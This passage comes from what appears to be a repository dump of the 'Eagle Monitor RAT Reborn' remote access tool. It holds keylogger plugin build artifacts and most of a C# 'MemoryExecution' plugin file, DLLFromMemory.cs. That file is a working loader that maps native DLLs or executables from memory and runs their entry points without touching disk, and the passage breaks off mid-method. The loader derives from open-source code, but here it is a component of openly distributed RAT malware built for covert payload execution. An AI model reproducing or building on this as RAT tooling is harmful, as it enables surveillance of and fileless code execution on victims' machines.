Reborn\\Plugins\\Keylogger\\obj\\Release\\Keylogger.dll\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\Keylogger.dll\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Keylogger\\obj\\Release\\Keylogger.csproj.AssemblyReference.cache\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Keylogger\\obj\\Release\\Keylogger.csproj.CoreCompileInputs.cache\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Keylogger\\obj\\Release\\Keylogger.csproj.CopyComplete\nC:\\Users\\arsium\\Desktop\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Keylogger\\obj\\Release\\Keylogger.dll\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\Keylogger.dll\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Keylogger\\obj\\Release\\Keylogger.csproj.AssemblyReference.cache\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Keylogger\\obj\\Release\\Keylogger.csproj.CoreCompileInputs.cache\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Keylogger\\obj\\Release\\Keylogger.csproj.CopyComplete\nF:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Keylogger\\obj\\Release\\Keylogger.dll\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\bin\\Release\\Plugins\\Keylogger.dll\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Keylogger\\obj\\Release\\Keylogger.csproj.AssemblyReference.cache\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Keylogger\\obj\\Release\\Keylogger.csproj.CoreCompileInputs.cache\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Keylogger\\obj\\Release\\Keylogger.csproj.CopyComplete\nE:\\$$$$$\\Eagle Monitor RAT Reborn\\Plugins\\Keylogger\\obj\\Release\\Keylogger.dll\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Keylogger/obj/Release/Keylogger.csproj.Fody.CopyLocal.cache",
    "content": ""
  },
  {
    "path": "Remote Access Tool/Plugins/Keylogger/obj/Release/_IsIncrementalBuild",
    "content": "obj\\Release\\\\_IsIncrementalBuild\n"
  },
  {
    "path": "Remote Access Tool/Plugins/Keylogger/packages.config",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<packages>\n  <package id=\"Costura.Fody\" version=\"4.1.0\" targetFramework=\"net45\" />\n  <package id=\"Fody\" version=\"6.0.0\" targetFramework=\"net45\" developmentDependency=\"true\" />\n</packages>"
  },
  {
    "path": "Remote Access Tool/Plugins/MemoryExecution/DLLFromMemory.cs",
    "content": "﻿/*\n * Original Author : https://github.com/schellingb/DLLFromMemory-net \n * \n * DLLFromMemory.Net\n *\n * Load a native DLL from memory without the need to allow unsafe code\n *\n * Copyright (C) 2018 - 2019 by Bernhard Schelling\n *\n * Based on Memory Module.net 0.2\n * Copyright (C) 2012 - 2018 by Andreas Kanzler (andi_kanzler(at)gmx.de)\n * https://github.com/Scavanger/MemoryModule.net\n *\n * Based on Memory DLL loading code Version 0.0.4\n * Copyright (C) 2004 - 2015 by Joachim Bauch (mail(at)joachim-bauch.de)\n * https://github.com/fancycode/MemoryModule\n *\n *\n * The contents of this file are subject to the Mozilla Public License Version\n * 2.0 (the \"License\"); you may not use this file except in compliance with\n * the License. You may obtain a copy of the License at\n * http://www.mozilla.org/MPL/\n *\n * Software distributed under the License is distributed on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License\n * for the specific language governing rights and limitations under the\n * License.\n *\n * The Original Code is MemoryModule.c\n *\n * The Initial Developer of the Original Code is Joachim Bauch.\n *\n * Portions created by Joachim Bauch are Copyright (C) 2004 - 2015\n * Joachim Bauch. All Rights Reserved.\n *\n * Portions created by Andreas Kanzler are Copyright (C) 2012 - 2018\n * Andreas Kanzler. All Rights Reserved.\n *\n * Portions created by Bernhard Schelling are Copyright (C) 2018 - 2019\n * Bernhard Schelling. All Rights Reserved.\n *\n */\n\nusing System;\nusing System.Runtime.InteropServices;\n\npublic class DLLFromMemory : IDisposable\n{\n    public class DllException : Exception\n    {\n        public DllException() : base() { }\n        public DllException(string message) : base(message) { }\n        public DllException(string message, Exception innerException) : base(message, innerException) { }\n    }\n\n    public bool Disposed { get; private set; }\n    public bool IsDll { get; private set; }\n\n    IntPtr pCode = IntPtr.Zero;\n    IntPtr pNTHeaders = IntPtr.Zero;\n    IntPtr[] ImportModules;\n    bool _initialized = false;\n    DllEntryDelegate _dllEntry = null;\n    ExeEntryDelegate _exeEntry = null;\n    bool _isRelocated = false;\n\n    [UnmanagedFunctionPointer(CallingConvention.Winapi)]\n    delegate bool DllEntryDelegate(IntPtr hinstDLL, DllReason fdwReason, IntPtr lpReserved);\n\n    [UnmanagedFunctionPointer(CallingConvention.Winapi)]\n    delegate int ExeEntryDelegate();\n\n    [UnmanagedFunctionPointer(CallingConvention.Winapi)]\n    delegate void ImageTlsDelegate(IntPtr dllHandle, DllReason reason, IntPtr reserved);\n\n    /// <summary>\n    /// Loads a unmanged (native) DLL in the memory.\n    /// </summary>\n    /// <param name=\"data\">Dll as a byte array</param>\n    public DLLFromMemory(byte[] data)\n    {\n        Disposed = false;\n        if (data == null) throw new ArgumentNullException(\"data\");\n        MemoryLoadLibrary(data);\n    }\n\n    ~DLLFromMemory()\n    {\n        Dispose();\n    }\n\n    /// <summary>\n    /// Returns a delegate for a function inside the DLL.\n    /// </summary>\n    /// <typeparam name=\"TDelegate\">The type of the delegate.</typeparam>\n    /// <param name=\"funcName\">The name of the function to be searched.</param>\n    /// <returns>A delegate instance of type TDelegate</returns>\n    public TDelegate GetDelegateFromFuncName<TDelegate>(string funcName) where TDelegate : class\n    {\n        if (!typeof(Delegate).IsAssignableFrom(typeof(TDelegate))) throw new ArgumentException(typeof(TDelegate).Name + \" is not a delegate\");\n        TDelegate res = Marshal.GetDelegateForFunctionPointer((IntPtr)GetPtrFromFuncName(funcName), typeof(TDelegate)) as TDelegate;\n        if (res == null) throw new DllException(\"Unable to get managed delegate\");\n        return res;\n    }\n\n    /// <summary>\n    /// Returns a delegate for a function inside the DLL.\n    /// </summary>\n    /// <param name=\"funcName\">The Name of the function to be searched.</param>\n    /// <param name=\"delegateType\">The type of the delegate to be returned.</param>\n    /// <returns>A delegate instance that can be cast to the appropriate delegate type.</returns>\n    public Delegate GetDelegateFromFuncName(string funcName, Type delegateType)\n    {\n        if (delegateType == null) throw new ArgumentNullException(\"delegateType\");\n        if (!typeof(Delegate).IsAssignableFrom(delegateType)) throw new ArgumentException(delegateType.Name + \" is not a delegate\");\n        Delegate res = Marshal.GetDelegateForFunctionPointer(GetPtrFromFuncName(funcName), delegateType);\n        if (res == null) throw new DllException(\"Unable to get managed delegate\");\n        return res;\n    }\n\n    IntPtr GetPtrFromFuncName(string funcName)\n    {\n        if (Disposed) throw new ObjectDisposedException(\"DLLFromMemory\");\n        if (string.IsNullOrEmpty(funcName)) throw new ArgumentException(\"funcName\");\n        if (!IsDll) throw new InvalidOperationException(\"Loaded Module is not a DLL\");\n        if (!_initialized) throw new InvalidOperationException(\"Dll is not initialized\");\n\n        IntPtr pDirectory = PtrAdd(pNTHeaders, Of.IMAGE_NT_HEADERS_OptionalHeader + (Is64BitProcess ? Of64.IMAGE_OPTIONAL_HEADER_ExportTable : Of32.IMAGE_OPTIONAL_HEADER_ExportTable));\n        IMAGE_DATA_DIRECTORY Directory = PtrRead<IMAGE_DATA_DIRECTORY>(pDirectory);\n        if (Directory.Size == 0) throw new DllException(\"Dll has no export table\");\n\n        IntPtr pExports = PtrAdd(pCode, Directory.VirtualAddress);\n        IMAGE_EXPORT_DIRECTORY Exports = PtrRead<IMAGE_EXPORT_DIRECTORY>(pExports);\n        if (Exports.NumberOfFunctions == 0 || Exports.NumberOfNames == 0) throw new DllException(\"Dll exports no functions\");\n\n        IntPtr pNameRef = PtrAdd(pCode, Exports.AddressOfNames);\n        IntPtr pOrdinal = PtrAdd(pCode, Exports.AddressOfNameOrdinals);\n        for (int i = 0; i < Exports.NumberOfNames; i++, pNameRef = PtrAdd(pNameRef, sizeof(uint)), pOrdinal = PtrAdd(pOrdinal, sizeof(ushort)))\n        {\n            uint NameRef = PtrRead<uint>(pNameRef);\n            ushort Ordinal = PtrRead<ushort>(pOrdinal);\n            string curFuncName = Marshal.PtrToStringAnsi(PtrAdd(pCode, NameRef));\n            if (curFuncName == funcName)\n            {\n                if (Ordinal > Exports.NumberOfFunctions) throw new DllException(\"Invalid function ordinal\");\n                IntPtr pAddressOfFunction = PtrAdd(pCode, (Exports.AddressOfFunctions + (uint)(Ordinal * 4)));\n                return PtrAdd(pCode, PtrRead<uint>(pAddressOfFunction));\n            }\n        }\n\n        throw new DllException(\"Dll exports no function named \" + funcName);\n    }\n\n    /// <summary>\n    /// Call entry point of executable.\n    /// </summary>\n    /// <returns>Exitcode of executable</returns>\n    public int MemoryCallEntryPoint()\n    {\n        if (Disposed) throw new ObjectDisposedException(\"DLLFromMemory\");\n        if (IsDll || _exeEntry == null || !_isRelocated) throw new DllException(\"Unable to call entry point. Is loaded module a dll?\");\n        return _exeEntry();\n    }\n\n    void MemoryLoadLibrary(byte[] data)\n    {\n        if (data.Length < Marshal.SizeOf(typeof(IMAGE_DOS_HEADER))) throw new DllException(\"Not a valid executable file\");\n        IMAGE_DOS_HEADER DosHeader = BytesReadStructAt<IMAGE_DOS_HEADER>(data, 0);\n        if (DosHeader.e_magic != Win.IMAGE_DOS_SIGNATURE) throw new BadImageFormatException(\"Not a valid executable file\");\n\n        if (data.Length < DosHeader.e_lfanew + Marshal.SizeOf(typeof(IMAGE_NT_HEADERS))) throw new DllException(\"Not a valid executable file\");\n        IMAGE_NT_HEADERS OrgNTHeaders = BytesReadStructAt<IMAGE_NT_HEADERS>(data, DosHeader.e_lfanew);\n\n        if (OrgNTHeaders.Signature != Win.IMAGE_NT_SIGNATURE) throw new BadImageFormatException(\"Not a valid PE file\");\n        if (OrgNTHeaders.FileHeader.Machine != GetMachineType()) throw new BadImageFormatException(\"Machine type doesn't fit (i386 vs. AMD64)\");\n        if ((OrgNTHeaders.OptionalHeader.SectionAlignment & 1) > 0) throw new BadImageFormatException(\"Wrong section alignment\"); //Only support multiple of 2\n        if (OrgNTHeaders.OptionalHeader.AddressOfEntryPoint == 0) throw new DllException(\"Module has no entry point\");\n\n        SYSTEM_INFO systemInfo;\n        Win.GetNativeSystemInfo(out systemInfo);\n        uint lastSectionEnd = 0;\n        int ofSection = Win.IMAGE_FIRST_SECTION(DosHeader.e_lfanew, OrgNTHeaders.FileHeader.SizeOfOptionalHeader);\n        for (int i = 0; i != OrgNTHeaders.FileHeader.NumberOfSections; i++, ofSection += Sz.IMAGE_SECTION_HEADER)\n        {\n            IMAGE_SECTION_HEADER Section = BytesReadStructAt<IMAGE_SECTION_HEADER>(data, ofSection);\n            uint endOfSection = Section.VirtualAddress + (Section.SizeOfRawData > 0 ? Section.SizeOfRawData : OrgNTHeaders.OptionalHeader.SectionAlignment);\n            if (endOfSection > lastSectionEnd) lastSectionEnd = endOfSection;\n        }\n\n        uint alignedImageSize = AlignValueUp(OrgNTHeaders.OptionalHeader.SizeOfImage, systemInfo.dwPageSize);\n        uint alignedLastSection = AlignValueUp(lastSectionEnd, systemInfo.dwPageSize);\n        if (alignedImageSize != alignedLastSection) throw new BadImageFormatException(\"Wrong section alignment\");\n\n        IntPtr oldHeader_OptionalHeader_ImageBase;\n        if (Is64BitProcess) oldHeader_OptionalHeader_ImageBase = (IntPtr)unchecked((long)(OrgNTHeaders.OptionalHeader.ImageBaseLong));\n        else oldHeader_OptionalHeader_ImageBase = (IntPtr)unchecked((int)(OrgNTHeaders.OptionalHeader.ImageBaseLong >> 32));\n\n        // reserve memory for image of library\n        pCode = Win.VirtualAlloc(oldHeader_OptionalHeader_ImageBase, (UIntPtr)OrgNTHeaders.OptionalHeader.SizeOfImage, AllocationType.RESERVE | AllocationType.COMMIT, MemoryProtection.READWRITE);\n        //pCode = IntPtr.Zero; //test relocation with this\n\n        // try to allocate memory at arbitrary position\n        if (pCode == IntPtr.Zero) pCode = Win.VirtualAlloc(IntPtr.Zero, (UIntPtr)OrgNTHeaders.OptionalHeader.SizeOfImage, AllocationType.RESERVE | AllocationType.COMMIT, MemoryProtection.READWRITE);\n\n        if (pCode == IntPtr.Zero) throw new DllException(\"Out of Memory\");\n\n        if (Is64BitProcess && PtrSpanBoundary(pCode, alignedImageSize, 32))\n        {\n            // Memory block may not span 4 GB (32 bit) boundaries.\n            System.Collections.Generic.List<IntPtr> BlockedMemory = new System.Collections.Generic.List<IntPtr>();\n            while (PtrSpanBoundary(pCode, alignedImageSize, 32))\n            {\n                BlockedMemory.Add(pCode);\n                pCode = Win.VirtualAlloc(IntPtr.Zero, (UIntPtr)alignedImageSize, AllocationType.RESERVE | AllocationType.COMMIT, MemoryProtection.READWRITE);\n                if (pCode == IntPtr.Zero) break;\n            }\n            foreach (IntPtr ptr in BlockedMemory) Win.VirtualFree(ptr, IntPtr.Zero, AllocationType.RELEASE);\n            if (pCode == IntPtr.Zero) throw new DllException(\"Out of Memory\");\n        }\n\n        // commit memory for headers\n        IntPtr headers = Win.VirtualAlloc(pCode, (UIntPtr)OrgNTHeaders.OptionalHeader.SizeOfHeaders, AllocationType.COMMIT, MemoryProtection.READWRITE);\n        if (headers == IntPtr.Zero) throw new DllException(\"Out of Memory\");\n\n        // copy PE header to code\n        Marshal.Copy(data, 0, headers, (int)(OrgNTHeaders.OptionalHeader.SizeOfHeaders));\n        pNTHeaders = PtrAdd(headers, DosHeader.e_lfanew);\n\n        IntPtr locationDelta = PtrSub(pCode, oldHeader_OptionalHeader_ImageBase);\n        if (locationDelta != IntPtr.Zero)\n        {\n            // update relocated position\n            Marshal.OffsetOf(typeof(IMAGE_NT_HEADERS), \"OptionalHeader\");\n            Marshal.OffsetOf(typeof(IMAGE_OPTIONAL_HEADER), \"ImageBaseLong\");\n            IntPtr pImageBase = PtrAdd(pNTHeaders, Of.IMAGE_NT_HEADERS_OptionalHeader + (Is64BitProcess ? Of64.IMAGE_OPTIONAL_HEADER_ImageBase : Of32.IMAGE_OPTIONAL_HEADER_ImageBase));\n            PtrWrite(pImageBase, pCode);\n        }\n\n        // copy sections from DLL file block to new memory location\n        CopySections(ref OrgNTHeaders, pCode, pNTHeaders, data);\n\n        // adjust base address of imported data\n        _isRelocated = (locationDelta != IntPtr.Zero ? PerformBaseRelocation(ref OrgNTHeaders, pCode, locationDelta) : true);\n\n        // load required dlls and adjust function table of imports\n        ImportModules = BuildImportTable(ref OrgNTHeaders, pCode);\n\n        // mark memory pages depending on section headers and release\n        // sections that are marked as \"discardable\"\n        FinalizeSections(ref OrgNTHeaders, pCode, pNTHeaders, systemInfo.dwPageSize);\n\n        // TLS callbacks are executed BEFORE the main loading\n        ExecuteTLS(ref OrgNTHeaders, pCode, pNTHeaders);\n\n        // get entry point of loaded library\n        IsDll = ((OrgNTHeaders.FileHeader.Characteristics & Win.IMAGE_FILE_DLL) != 0);\n        if (OrgNTHeaders.OptionalHeader.AddressOfEntryPoint != 0)\n        {\n            if (IsDll)\n            {\n                // notify library about attaching to process\n                IntPtr dllEntryPtr = PtrAdd(pCode, OrgNTHeaders.OptionalHeader.AddressOfEntryPoint);\n                _dllEntry = (DllEntryDelegate)Marshal.GetDelegateForFunctionPointer(dllEntryPtr, typeof(DllEntryDelegate));\n\n                _initialized = (_dllEntry != null && _dllEntry(pCode, DllReason.DLL_PROCESS_ATTACH, IntPtr.Zero));\n                if (!_initialized) throw new DllException(\"Can't attach DLL to process\");\n            }\n            else\n            {\n                IntPtr exeEntryPtr = PtrAdd(pCode, OrgNTHeaders.OptionalHeader.AddressOfEntryPoint);\n                _exeEntry = (ExeEntryDelegate)Marshal.GetDelegateForFunctionPointer(exeEntryPtr, typeof(ExeEntryDelegate));\n            }\n        }\n    }\n\n    static void CopySections(ref IMAGE_NT_HEADERS OrgNTHeaders, IntPtr pCode, IntPtr pNTHeaders, byte[] data)\n    {\n        IntPtr pSection = Win.IMAGE_FIRST_SECTION(pNTHeaders, OrgNTHeaders.FileHeader.SizeOfOptionalHeader);\n        for (int i = 0; i < OrgNTHeaders.FileHeader.NumberOfSections; i++, pSection = PtrAdd(pSection, Sz.IMAGE_SECTION_HEADER))\n        {\n            IMAGE_SECTION_HEADER Section = PtrRead<IMAGE_SECTION_HEADER>(pSection);\n            if (Section.SizeOfRawData == 0)\n            {\n                // section doesn't contain data in the dll itself, but may define uninitialized data\n                uint size = OrgNTHeaders.OptionalHeader.SectionAlignment;\n                if (size > 0)\n                {\n                    IntPtr dest = Win.VirtualAlloc(PtrAdd(pCode, Section.VirtualAddress), (UIntPtr)size, AllocationType.COMMIT, MemoryProtection.READWRITE);\n                    if (dest == IntPtr.Zero) throw new DllException(\"Unable to allocate memory\");\n\n                    // Always use position from file to support alignments smaller than page size (allocation above will align to page size).\n                    dest = PtrAdd(pCode, Section.VirtualAddress);\n\n                    // NOTE: On 64bit systems we truncate to 32bit here but expand again later when \"PhysicalAddress\" is used.\n                    PtrWrite(PtrAdd(pSection, Of.IMAGE_SECTION_HEADER_PhysicalAddress), unchecked((uint)(ulong)(long)dest));\n\n                    Win.MemSet(dest, 0, (UIntPtr)size);\n                }\n\n                // section is empty\n                continue;\n            }\n            else\n            {\n                // commit memory block and copy data from dll\n                IntPtr dest = Win.VirtualAlloc(PtrAdd(pCode, Section.VirtualAddress), (UIntPtr)Section.SizeOfRawData, AllocationType.COMMIT, MemoryProtection.READWRITE);\n                if (dest == IntPtr.Zero) throw new DllException(\"Out of memory\");\n\n                // Always use position from file to support alignments smaller than page size (allocation above will align to page size).\n                dest = PtrAdd(pCode, Section.VirtualAddress);\n                Marshal.Copy(data, checked((int)Section.PointerToRawData), dest, checked((int)Section.SizeOfRawData));\n\n                // NOTE: On 64bit systems we truncate to 32bit here but expand again later when \"PhysicalAddress\" is used.\n                PtrWrite(PtrAdd(pSection, Of.IMAGE_SECTION_HEADER_PhysicalAddress), unchecked((uint)(ulong)(long)dest));\n            }\n        }\n    }\n\n    static bool PerformBaseRelocation(ref IMAGE_NT_HEADERS OrgNTHeaders, IntPtr pCode, IntPtr delta)\n    {\n        if (OrgNTHeaders.OptionalHeader.BaseRelocationTable.Size == 0) return (delta == IntPtr.Zero);\n\n        for (IntPtr pRelocation = PtrAdd(pCode, OrgNTHeaders.OptionalHeader.BaseRelocationTable.VirtualAddress); ;)\n        {\n            IMAGE_BASE_RELOCATION Relocation = PtrRead<IMAGE_BASE_RELOCATION>(pRelocation);\n            if (Relocation.VirtualAdress == 0) break;\n\n            IntPtr pDest = PtrAdd(pCode, Relocation.VirtualAdress);\n            IntPtr pRelInfo = PtrAdd(pRelocation, Sz.IMAGE_BASE_RELOCATION);\n            uint RelCount = ((Relocation.SizeOfBlock - Sz.IMAGE_BASE_RELOCATION) / 2);\n            for (uint i = 0; i != RelCount; i++, pRelInfo = PtrAdd(pRelInfo, sizeof(ushort)))\n            {\n                ushort relInfo = (ushort)Marshal.PtrToStructure(pRelInfo, typeof(ushort));\n                BasedRelocationType type = (BasedRelocationType)(relInfo >> 12); // the upper 4 bits define the type of relocation\n                int offset = (relInfo & 0xfff); // the lower 12 bits define the offset\n                IntPtr pPatchAddr = PtrAdd(pDest, offset);\n\n                switch (type)\n                {\n                    case BasedRelocationType.IMAGE_REL_BASED_ABSOLUTE:\n                        // skip relocation\n                        break;\n                    case BasedRelocationType.IMAGE_REL_BASED_HIGHLOW:\n                        // change complete 32 bit address\n                        int patchAddrHL = (int)Marshal.PtrToStructure(pPatchAddr, typeof(int));\n                        patchAddrHL += (int)delta;\n                        Marshal.StructureToPtr(patchAddrHL, pPatchAddr, false);\n                        break;\n                    case BasedRelocationType.IMAGE_REL_BASED_DIR64:\n                        long patchAddr64 = (long)Marshal.PtrToStructure(pPatchAddr, typeof(long));\n                        patchAddr64 += (long)delta;\n                        Marshal.StructureToPtr(patchAddr64, pPatchAddr, false);\n                        break;\n                }\n            }\n\n            // advance to next relocation block\n            pRelocation = PtrAdd(pRelocation, Relocation.SizeOfBlock);\n        }\n        return true;\n    }\n\n    static IntPtr[] BuildImportTable(ref IMAGE_NT_HEADERS OrgNTHeaders, IntPtr pCode)\n    {\n        System.Collections.Generic.List<IntPtr> ImportModules = new System.Collections.Generic.List<IntPtr>();\n        uint NumEntries = OrgNTHeaders.OptionalHeader.ImportTable.Size / Sz.IMAGE_IMPORT_DESCRIPTOR;\n        IntPtr pImportDesc = PtrAdd(pCode, OrgNTHeaders.OptionalHeader.ImportTable.VirtualAddress);\n        for (uint i = 0; i != NumEntries; i++, pImportDesc = PtrAdd(pImportDesc, Sz.IMAGE_IMPORT_DESCRIPTOR))\n        {\n            IMAGE_IMPORT_DESCRIPTOR ImportDesc = PtrRead<IMAGE_IMPORT_DESCRIPTOR>(pImportDesc);\n            if (ImportDesc.Name == 0) break;\n\n            IntPtr handle = Win.LoadLibrary(PtrAdd(pCode, ImportDesc.Name));\n            if (PtrIsInvalidHandle(handle))\n            {\n                foreach (IntPtr m in ImportModules) Win.FreeLibrary(m);\n                ImportModules.Clear();\n                throw new DllException(\"Can't load libary \" + Marshal.PtrToStringAnsi(PtrAdd(pCode, ImportDesc.Name)));\n            }\n            ImportModules.Add(handle);\n\n            IntPtr pThunkRef, pFuncRef;\n            if (ImportDesc.OriginalFirstThunk > 0)\n            {\n                pThunkRef = PtrAdd(pCode, ImportDesc.OriginalFirstThunk);\n                pFuncRef = PtrAdd(pCode, ImportDesc.FirstThunk);\n            }\n            else\n            {\n                // no hint table\n                pThunkRef = PtrAdd(pCode, ImportDesc.FirstThunk);\n                pFuncRef = PtrAdd(pCode, ImportDesc.FirstThunk);\n            }\n            for (int SzRef = IntPtr.Size; ; pThunkRef = PtrAdd(pThunkRef, SzRef), pFuncRef = PtrAdd(pFuncRef, SzRef))\n            {\n                IntPtr ReadThunkRef = PtrRead<IntPtr>(pThunkRef), WriteFuncRef;\n                if (ReadThunkRef == IntPtr.Zero) break;\n                if (Win.IMAGE_SNAP_BY_ORDINAL(ReadThunkRef))\n                {\n                    WriteFuncRef = Win.GetProcAddress(handle, Win.IMAGE_ORDINAL(ReadThunkRef));\n                }\n                else\n                {\n                    WriteFuncRef = Win.GetProcAddress(handle, PtrAdd(PtrAdd(pCode, ReadThunkRef), Of.IMAGE_IMPORT_BY_NAME_Name));\n                }\n                if (WriteFuncRef == IntPtr.Zero) throw new DllException(\"Can't get adress for imported function\");\n                PtrWrite(pFuncRef, WriteFuncRef);\n            }\n        }\n        return (ImportModules.Count > 0 ? ImportModules.ToArray() : null);\n    }\n\n    static void FinalizeSections(ref IMAGE_NT_HEADERS OrgNTHeaders, IntPtr pCode, IntPtr pNTHeaders, uint PageSize)\n    {\n        UIntPtr imageOffset = (Is64BitProcess ? (UIntPtr)(unchecked((ulong)pCode.ToInt64()) & 0xffffffff00000000) : UIntPtr.Zero);\n        IntPtr pSection = Win.IMAGE_FIRST_SECTION(pNTHeaders, OrgNTHeaders.FileHeader.SizeOfOptionalHeader);\n        IMAGE_SECTION_HEADER Section = PtrRead<IMAGE_SECTION_HEADER>(pSection);\n        SectionFinalizeData sectionData = new SectionFinalizeData();\n        sectionData.Address = PtrBitOr(PtrAdd((IntPtr)0, Section.PhysicalAddress), imageOffset);\n        sectionData.AlignedAddress = PtrAlignDown(sectionData.Address, (UIntPtr)PageSize);\n        sectionData.Size = GetRealSectionSize(ref Section, ref OrgNTHeaders);\n        sectionData.Characteristics = Section.Characteristics;\n        sectionData.Last = false;\n        pSection = PtrAdd(pSection, Sz.IMAGE_SECTION_HEADER);\n\n        // loop through all sections and change access flags\n        for (int i = 1; i < OrgNTHeaders.FileHeader.NumberOfSections; i++, pSection = PtrAdd(pSection, Sz.IMAGE_SECTION_HEADER))\n        {\n            Section = PtrRead<IMAGE_SECTION_HEADER>(pSection);\n            IntPtr sectionAddress = PtrBitOr(PtrAdd((IntPtr)0, Section.PhysicalAddress), imageOffset);\n            IntPtr alignedAddress = PtrAlignDown(sectionAddress, (UIntPtr)PageSize);\n            IntPtr sectionSize = GetRealSectionSize(ref Section, ref OrgNTHeaders);\n\n            // Combine access flags of all sections that share a page\n            // TODO(fancycode): We currently share flags of a trailing large section with the page of a first small section. This should be optimized.\n            IntPtr a = PtrAdd(sectionData.Address, sectionData.Size);\n            ulong b = unchecked((ulong)a.ToInt64()), c = unchecked((ulong)alignedAddress);\n\n            if (sectionData.AlignedAddress == alignedAddress || unchecked((ulong)PtrAdd(sectionData.Address, sectionData.Size).ToInt64()) > unchecked((ulong)alignedAddress))\n            {\n                // Section shares page with previous\n                if ((Section.Characteristics & Win.IMAGE_SCN_MEM_DISCARDABLE) == 0 || (sectionData.Characteristics & Win.IMAGE_SCN_MEM_DISCARDABLE) == 0)\n                {\n                    sectionData.Characteristics = (sectionData.Characteristics | Section.Characteristics) & ~Win.IMAGE_SCN_MEM_DISCARDABLE;\n                }\n                else\n                {\n                    sectionData.Characteristics |= Section.Characteristics;\n                }\n                sectionData.Size = PtrSub(PtrAdd(sectionAddress, sectionSize), sectionData.Address);\n                continue;\n            }\n\n            FinalizeSection(sectionData, PageSize, OrgNTHeaders.OptionalHeader.SectionAlignment);\n\n            sectionData.Address = sectionAddress;\n            sectionData.AlignedAddress = alignedAddress;\n            sectionData.Size = sectionSize;\n            sectionData.Characteristics = Section.Characteristics;\n        }\n        sectionData.Last = true;\n        FinalizeSection(sectionData, PageSize, OrgNTHeaders.OptionalHeader.SectionAlignment);\n    }\n\n    static void FinalizeSection(SectionFinalizeData SectionData, uint PageSize, uint SectionAlignment)\n    {\n        if (SectionData.Size == IntPtr.Zero)\n            return;\n\n        if ((SectionData.Characteristics & Win.IMAGE_SCN_MEM_DISCARDABLE) > 0)\n        {\n            // section is not needed any more and can safely be freed\n            if (SectionData.Address == SectionData.AlignedAddress &&\n                (SectionData.Last ||\n                    SectionAlignment == PageSize ||\n                    (unchecked((ulong)SectionData.Size.ToInt64()) % PageSize) == 0)\n                )\n            {\n                // Only allowed to decommit whole pages\n                Win.VirtualFree(SectionData.Address, SectionData.Size, AllocationType.DECOMMIT);\n            }\n            return;\n        }\n\n        // determine protection flags based on characteristics\n        int readable = (SectionData.Characteristics & (uint)ImageSectionFlags.IMAGE_SCN_MEM_READ) != 0 ? 1 : 0;\n        int writeable = (SectionData.Characteristics & (uint)ImageSectionFlags.IMAGE_SCN_MEM_WRITE) != 0 ? 1 : 0;\n        int executable = (SectionData.Characteristics & (uint)ImageSectionFlags.IMAGE_SCN_MEM_EXECUTE) != 0 ? 1 : 0;\n        uint protect = (uint)ProtectionFlags[executable, readable, writeable];\n        if ((SectionData.Characteristics & Win.IMAGE_SCN_MEM_NOT_CACHED) > 0) protect |= Win.PAGE_NOCACHE;\n\n        // change memory access flags\n        uint oldProtect;\n        if (!Win.VirtualProtect(SectionData.Address, SectionData.Size, protect, out oldProtect))\n            throw new DllException(\"Error protecting memory page\");\n    }\n\n    static void ExecuteTLS(ref IMAGE_NT_HEADERS OrgNTHeaders, IntPtr pCode, IntPtr pNTHeaders)\n    {\n        if (OrgNTHeaders.OptionalHeader.TLSTable.VirtualAddress == 0) return;\n        IMAGE_TLS_DIRECTORY tlsDir = PtrRead<IMAGE_TLS_DIRECTORY>(PtrAdd(pCode, OrgNTHeaders.OptionalHeader.TLSTable.VirtualAddress));\n        IntPtr pCallBack = tlsDir.AddressOfCallBacks;\n        if (pCallBack != IntPtr.Zero)\n        {\n            for (IntPtr Callback; (Callback = PtrRead<IntPtr>(pCallBack)) != IntPtr.Zero; pCallBack = PtrAdd(pCallBack, IntPtr.Size))\n            {\n                ImageTlsDelegate tls = (ImageTlsDelegate)Marshal.GetDelegateForFunctionPointer(Callback, typeof(ImageTlsDelegate));\n                tls(pCode, DllReason.DLL_PROCESS_ATTACH, IntPtr.Zero);\n            }\n        }\n    }\n\n    /// <summary>\n    /// Check if the process runs in 64bit mode or in 32bit mode\n    /// </summary>\n    /// <returns>True if process is 64bit, false if it is 32bit</returns>\n    public static bool Is64BitProcess { get { return IntPtr.Size == 8; } }\n\n    static uint GetMachineType() { return (IntPtr.Size == 8 ? Win.IMAGE_FILE_MACHINE_AMD64 : Win.IMAGE_FILE_MACHINE_I386); }\n\n    static uint AlignValueUp(uint value, uint alignment) { return (value + alignment - 1) & ~(alignment - 1); }\n\n    static IntPtr GetRealSectionSize(ref IMAGE_SECTION_HEADER Section, ref IMAGE_NT_HEADERS NTHeaders)\n    {\n        uint size = Section.SizeOfRawData;\n        if (size == 0)\n        {\n            if ((Section.Characteristics & Win.IMAGE_SCN_CNT_INITIALIZED_DATA) > 0)\n            {\n                size = NTHeaders.OptionalHeader.SizeOfInitializedData;\n            }\n            else if ((Section.Characteristics & Win.IMAGE_SCN_CNT_UNINITIALIZED_DATA) > 0)\n            {\n                size = NTHeaders.OptionalHeader.SizeOfUninitializedData;\n            }\n        }\n        return (IntPtr.Size == 8 ? (IntPtr)unchecked((long)size) : (IntPtr)unchecked((int)size));\n    }\n\n    public void Close() { ((IDisposable)this).Dispose(); }\n\n    void IDisposable.Dispose()\n    {\n        Dispose();\n        GC.SuppressFinalize(this);\n    }\n\n    public void Dispose()\n    {\n        if (_initialized)\n        {\n            if (_dllEntry != null) _dllEntry.Invoke(pCode, DllReason.DLL_PROCESS_DETACH, 